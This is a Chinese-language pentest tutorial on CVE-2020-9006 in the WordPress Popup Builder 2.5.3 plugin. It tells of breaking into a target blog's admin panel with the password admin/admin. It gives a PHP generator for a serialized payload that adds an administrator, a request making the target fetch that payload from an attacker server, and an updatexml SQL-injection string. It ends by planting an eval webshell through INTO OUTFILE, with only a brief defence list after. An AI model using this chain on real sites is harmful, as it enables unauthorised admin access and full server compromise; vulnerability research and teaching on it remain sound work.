渗透测试之黑白无常
字数 1319 2025-08-15 21:32:31
WordPress Popup Builder插件漏洞分析与利用教学
漏洞概述
本教学文档详细分析WordPress Popup Builder插件2.5.3版本中存在的安全漏洞(CVE-2020-9006),包括漏洞原理、利用方法以及防御措施。
漏洞背景
Popup Builder是WordPress的一个弹窗构建器插件,活跃安装量超过10万+。在2.5.3版本中存在一个高危漏洞,允许攻击者通过精心构造的请求实现SQL注入和添加管理员账户。
漏洞发现过程
1. 目标识别
- 目标系统使用WordPress搭建的博客系统
- 后台路径为默认的
/wp-admin/ - 使用弱口令
admin/admin成功登录后台
2. 常规攻击尝试失败
- 插件上传功能被删除
- 主题上传功能被删除
- 编辑插件/主题功能不可用
3. 插件漏洞发现
- 发现已安装Popup Builder插件版本为2.5.3
- 当前最新版本为3.65.1,存在版本滞后
漏洞分析
漏洞位置
\wp-content\plugins\popup-builder\files\sg_popup_ajax.php文件中的sgImportPopups函数
漏洞代码
function sgImportPopups() {
$attachmentUrl = @$_POST['attachmentUrl'];
$content = file_get_contents($attachmentUrl);
$contentDecoded = base64_decode($content);
$contentDecodedUnserialized = unserialize($contentDecoded);
// 后续数据库操作...
}
漏洞原理
- 直接从POST请求获取
attachmentUrl参数,无任何过滤 - 使用
file_get_contents获取远程文件内容 - 对获取的内容进行base64解码和反序列化
- 将处理后的数据直接用于数据库操作
漏洞利用
1. 下载指定版本插件
- 通过修改WordPress插件页面URL中的版本号下载2.5.3版本
- 示例URL格式:
https://wordpress.org/plugins/popup-builder/developers/(可修改版本号)
2. 生成Payload
使用以下PHP代码生成攻击Payload:
<?php
$contents = array(
'customData' => array('users' => array(
0 => array('aaaa', '$P$BG3Bc6Y9Er4hAHVCBvTVkbs9HJ0lKk.', 'aaaa', 'aa@aa.com', 'https://aaa.cn', '0', 'aaaa')
)),
'customTablesColumsName' => array('users' => array(
0 => array('Field' => 'user_login'),
1 => array('Field' => 'user_pass'),
2 => array('Field' => 'user_nicename'),
4 => array('Field' => 'user_email'),
5 => array('Field' => 'user_url'),
6 => array('Field' => 'user_status'),
7 => array('Field' => 'display_name')
))
);
$payload = base64_encode(serialize($contents));
echo $payload;
?>
3. 添加管理员
- 将生成的Payload保存为文本文件并托管在可访问的服务器上
- 构造请求URL:
http://target.com/wp-admin/admin-ajax.php?action=import_popups&attachmentUrl=http://your-server.com/payload.txt - 成功执行后会在
wp_users表中添加新管理员
4. SQL注入利用
修改Payload实现SQL注入:
// 修改user_nicename字段为注入语句
'a' or updatexml(1,concat(0x7e,(user())),0) or '
生成的SQL语句:
INSERT INTO wp_users(...) VALUES (...,'a' or updatexml(1,concat(0x7e,(user())),0) or '',...)
5. 信息收集
通过注入可以获取:
- 数据库用户
- 数据库名
- 表结构
- 其他用户凭证
6. 获取WebShell
- 通过注入获取MySQL凭据
- 使用MySQL root权限写入WebShell:
SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php' - 使用蚁剑/菜刀连接WebShell
防御措施
- 及时更新插件:升级到最新版本(3.65.1+)
- 输入验证:对所有用户输入进行严格过滤
- 权限控制:
- 限制后台访问IP
- 使用强密码策略
- 安全配置:
- 禁用不必要的PHP函数(如
file_get_contents) - 限制MySQL的FILE权限
- 禁用不必要的PHP函数(如
- 安全审计:定期进行代码安全审计
总结
Popup Builder 2.5.3版本漏洞是一个典型的不安全反序列化+SQL注入组合漏洞,攻击者可以利用此漏洞实现从添加管理员到获取服务器权限的全链条攻击。管理员应定期更新插件并实施多层次防御策略。
参考
- CVE-2020-9006
- WordPress Popup Builder插件更新日志
- OWASP反序列化漏洞防护指南